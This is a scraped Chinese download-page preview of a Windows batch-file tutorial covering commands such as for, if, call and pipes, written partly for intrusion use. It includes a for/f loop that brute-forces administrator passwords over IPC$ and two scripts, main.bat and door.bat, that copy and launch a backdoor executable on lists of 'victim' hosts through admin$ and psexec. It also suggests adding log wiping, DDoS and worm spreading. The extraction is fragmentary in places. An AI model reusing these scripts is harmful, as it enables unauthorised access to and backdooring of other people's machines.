ImageVerifierCode 换一换
格式:DOCX , 页数:28 ,大小:31.28KB ,
资源ID:16608372      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bdocx.com/down/16608372.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(bat文件批处理Word文档下载推荐.docx)为本站会员(b****3)主动上传,冰豆网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰豆网(发送邮件至service@bdocx.com或直接QQ联系客服),我们立即给予删除!

bat文件批处理Word文档下载推荐.docx

1、if%1=goto noparms if%2=goto noparms(如果这里的 if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)Rem check parameters if null show usage:noparms echo Usage:monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样别人看起来才会理解你的意图啊。4.Rem 命令注释命令,在 C语言中相当与/*-*/,它并不会被执行,

2、只是起一个注释的作用,便于别人阅读和你自己日后修改。Rem Message Sample:Rem Here is the description.5.Pause 命令运行 Pause 命令时,将显示下面的消息:Press any key to continue.Sample:echo off:begin copy a:*.*d:back echo Please put a new disk into driver A pause goto begin 在这个例子中,驱动器 A 中磁盘上的所有文件均复制到 d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂

3、起,以便您更换磁盘,然后按任意键继续处理。6.Call 命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。语法 call Drive:Path FileName BatchParameters:label arguments 参数 Drive:Path FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有.bat 或.cmd 扩展名。7.start 命令调用外部程序,所有的 DOS命令和命令行程序都可以由 start命令来调用。入侵常用参数:MI

4、N 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。8.choice 命令choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为 1

5、234 如:choice/c:dme defrag,mem,end 将显示 defrag,mem,endD,M,E?Sample.bat的内容如下:echo off choice/c:dme defrag,mem,end if errorlevel 3 goto defrag(应先判断数值最高的错误码)if errorlevel 2 goto mem if errotlevel 1 goto end:defrag c:dosdefrag goto end:mem mem goto end:end echo good bye 此文件运行后,将显示 defrag,mem,endD,M,E?用户可选

6、择 d m e,然后 if语句将作出判断,d表示执行标号为 defrag的程序段,m表示执行标号为 mem的程序段,e表示执行标号为 end的程序段,每个程序段最后都以 goto end将程序跳到 end标号处,然后程序将显示 good bye,文件结束。9.If 命令if 表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:1、if 参数=字符串 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)如 if%1=a format a:if%1=goto noparms if%2=goto noparms 2、if exist 文件名待

7、执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。如 if exist config.sysedit config.sys 3、if errorlevel/if not errorlevel 数字待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如 if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给 DOS,称为错误码 errorlevel或称返回码,常见的返回码为 0、1。10.for 命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。在批处理文件中使用 FOR 命令时,指定变量请使用%

8、variable for%variable|%variable in(set)do command CommandLineOptions%variable 指定一个单一字母可替换的参数。(set)指定一个或一组文件。可以使用通配符。command 指定对每个文件执行的命令。command-parameters 为特定命令指定参数或命令行开关。在批处理文件中使用 FOR 命令时,指定变量请使用%variable 而不要用%variable。变量名称是区分大小写的,所以%i 不同于%I 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持:FOR/D%variable IN(set)DO

9、 command command-parameters 如果集中包含通配符,则指定与目录名匹配,而不与文件 名匹配。FOR/R drive:path%variable IN(set)DO command command-检查以 drive:path 为根的目录树,指向每个目录中的 FOR 语句。如果在/R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。FOR/L%variable IN(start,step,end)DO command command-para 该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5)将产生序列 1 2 3 4 5,

10、(5,-1,1)将产生 序列(5 4 3 2 1)。FOR/F options%variable IN(file-set)DO command FOR/F options%variable IN(string)DO command FOR/F options%variable IN(command)DO command 或者,如果有 usebackq 选项:FOR/F options%variable IN(file-set)DO command FOR/F options%variable IN(string)DO command FOR/F options%variable IN(comm

11、and)DO command filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值 调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开 的第一个空白符号。跳过空白行。您可通过指定可选 options 参数替代默认解析操作。这个带引号的字符串包括一个或多个 指定不同解析选项的关键字。这些关键字为:eol=c-指一个行注释字符的结尾(就一个)skip=n-指在文件开始时忽略的行数。delims=xxx

12、-指分隔符集。这个替换了空格和跳格键的 默认分隔符集。tokens=x,y,m-n-指每行的哪一个符号被传递到每个迭代 的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之 分配并接受行的保留文本。usebackq-指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且 引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称。sample1:FOR/F eol=;tokens=2,3*delims=,%i in(myfile.txt)do command 会分析 myfi

13、le.txt 中的每一行,忽略以分号打头的那些行,将 每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用%i 来 取得第二个符号,引用%j 来取得第三个符号,引用%k 来取得第三个符号后的所有剩余符号。对于带有空格的文件 名,您需要用双引号将文件名括起来。为了用这种方式来使 用双引号,您还需要使用 usebackq 选项,否则,双引号会 被理解成是用作定义某个要分析的字符串的。%i 专门在 for 语句中得到说明,%j 和%k 是通过 tokens=选项专门得到说明的。您可以通过 tokens=一行 指定最多 26 个符号,只要

14、不试图说明一个高于字母 z 或 Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。您还可以在相邻字符串上使用 FOR/F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符 串会被当作一个文件中的一个单一输入行。最后,您可以用 FOR/F 命令来分析命令的输出。方法是,将 括号之间的 filenameset 变成一个反括字符串。该字符串会 被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进 内存,并被当作文件分析。因此,以下例子:FOR/F usebackq delims=%i IN(set)DO ech

15、o%i 会枚举当前环境中的环境变量名称。另外,FOR 变量参照的替换已被增强。您现在可以使用下列 编辑本段选项语法:I-删除任何引号(),扩充%I%fI-将%I 扩充到一个完全合格的路径名%dI-仅将%I 扩充到一个驱动器号%pI-仅将%I 扩充到一个路径%nI-仅将%I 扩充到一个文件名%xI-仅将%I 扩充到一个文件扩展名%sI-扩充的路径只含有短名%aI-将%I 扩充到文件的文件属性%tI-将%I 扩充到文件的日期/时间%zI-将%I 扩充到文件的大小%$PATH:I-查找列在路径环境变量的目录,并将%I 扩充 到找到的第一个完全合格的名称。如果环境变量 未被定义,或者没有找到文件,此组

16、合键会扩充 空字符串 可以组合修饰符来得到多重结果:%dpI-仅将%I 扩充到一个驱动器号和路径%nxI-仅将%I 扩充到一个文件名和扩展名%fsI-仅将%I 扩充到一个带有短名的完整路径名%dp$PATH:i-查找列在路径环境变量的目录,并将%I 扩充 到找到的第一个驱动器号和路径。%ftzaI-将%I 扩充到类似输出线路的 DIR 在以上例子中,%I 和 PATH 可用其他有效数值代替。%语法 用一个有效的 FOR 变量名终止。选取类似%I 的大写变量名 比较易读,而且避免与不分大小写的组合键混淆。以上是 MS的官方帮助,下面我们举几个例子来具体说明一下 For命令在入侵中的用途。samp

17、le2:利用 For命令来实现对一台目标 Win2k主机的暴力密码破解。我们用 net use ipipc$password/u:administrator来尝试这和目标主机进行连接,当成功时记下密码。最主要的命令是一条:for/f i%in(dict.txt)do net use ipipc$i%/u:administrator 用 i%来表示 admin的密码,在 dict.txt中这个取 i%的值用 net use 命令来连接。然后将程序运行结果传递给 find命令 for/f i%in(dict.txt)do net use ipipc$i%/u:administrator|find:

18、命令成功完成D:ok.txt,这样就 ko了。sample3:你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用%variable)for/f tokens=1,2,3 delims=%i in(victim.txt)do start call door.bat%i%j%k tokens的用法请参见上面的 sample1,在这里它表示按顺序将 victim.txt中的内容

19、传递给 door.bat中的参数%i%j%k。而 cultivate.bat无非就是用 net use命令来建立 IPC$连接,并 copy木马+后门到 victim,然后用返回码(If errorlever=)来筛选成功种植后门的主机,并 echo出来,或者 echo到指定的文件。delims=表示 vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这 victim.txt里的内容是什么样的了。应该根据%i%j%k表示的对象来排列,一般就是 ip password username。编辑本段代码雏形:-cut here then save as a batchfile(I

20、 call it main.bat)-echo off if%1=goto usage for/f tokens=1,2,3 delims=%i in(victim.txt)do start call IPChack.bat%i%j%k goto end:usage echo run this batch in dos modle.or just double-click it.:end-cut here then save as a batchfile(I call it main.bat)-cut here then save as a batchfile(I call it door.b

21、at)-net use%1ipc$%3/u:%2 if errorlevel 1 goto failed echo Trying to establish the IPC$connection OK copy windrv32.exe%1admin$system32&if not errorlevel 1 echo IP%1 USER%2 PWD%3 ko.txt psexec%1 c:winntsystem32windrv32.exe psexec%1 net start windrv32&if not errorlevel 1 echo%1 Backdoored ko.txt:failed

22、 echo Sorry can not connected to the victim.-cut here then save as a batchfile(I call it door.bat)-这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.编辑本段如何在批处理文件中使用参数批处理中可以使用参数,一般从 1%到 9%这九个,当有多个参数时需要用shif

23、t来移动,这种情况并不多见,我们就不考虑它了。sample1:fomat.bat echo off if%1=a format a:format format a:/q/u/auotset echo please insert another disk to driver A.pause goto fomat 这个例子用于连续地格式化几张软盘,所以用的时候需在 dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了_ sample2:当我们要建立一个 IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地 ip password use

24、rname 当着参数来赋给这个批处理,这样就不用每次都打命令了。echo off net use 1%ipc$2%/u:3%注意哦,这里 PASSWORD是第二个参数。if errorlevel 1 echo connection failed 怎么样,使用参数还是比较简单的吧?你这么帅一定学会了_.No.3 三.如何使用组合命令(Compound Command)1.&Usage:第一条命令&第二条命令&第三条命令.用这种方法可以同时执行多条命令,而不管命令是否执行成功 Sample:C:dir z:&dir c:Ex4rch The system cannot find the path

25、specified.Volume in drive C has no label.Volume Serial Number is 0078-59FB Directory of c:Ex4rch 2002-05-14 23:51.2002-05-14 23:51 14 sometips.gif 2.&第三条命令.用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;Ex4rch The system cannot find the path specified.C:Ex4rch&Volume in drive C has no label

26、.Volume Serial Number is 0078-59FB Directory of c:55.2002-05-14 23:55 14 sometips.gif 1 File(s)14 bytes 2 Dir(s)768,671,744 bytes free The system cannot find the path specified.在做备份的时候可能会用到这种命令会比较简单,如:dir file:/192.168.0.1/database/backup.mdb© file:/192.168.0.1/database/backup.mdb E:backup 如果远程服

27、务器上存在 backup.mdb文件,就执行 copy命令,若不存在该文件则不执行 copy命令。这种用法可以替换 IF exist了:)3.|Usage:第一条命令|第二条命令|第三条命令.用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;Ex4rchdir sometips.gif|del sometips.gif Volume in drive C has no label.Volume Serial Number is 0078-59FB Directory of C:55 14 sometips.gif 1 File

28、(s)14 bytes 0 Dir(s)768,696,320 bytes free 组合命令使用的例子:sample:copy trojan.exe%1admin$system32&if not errorlevel 1 echo IP%1 USER%2 PASS%3 victim.txt 编辑本段管道命令的使用1.|命令Usage:第一条命令|第二条命令|第三条命令.将第一条命令的结果作为第二条命令的参数来使用,记得在 unix中这种方式很常见。time/tD:IP.log netstat-n-p tcp|find:3389D:IP.log start Explorer 看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个 bat,以获得登录用户的 IP。2.、输出重定向命令将一条命令或某个程序输出结果的重定向到特定文件中,与 的区别在于,会清除调原有文件中的内容后写入指定文件,而只会追加内容到指定文件中,而不会改动其中的内容。echo hello worldc:hello.txt(stupid example?)sample2:时下 DLL木马盛行,我们知道 system32是个捉迷藏的好地方

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1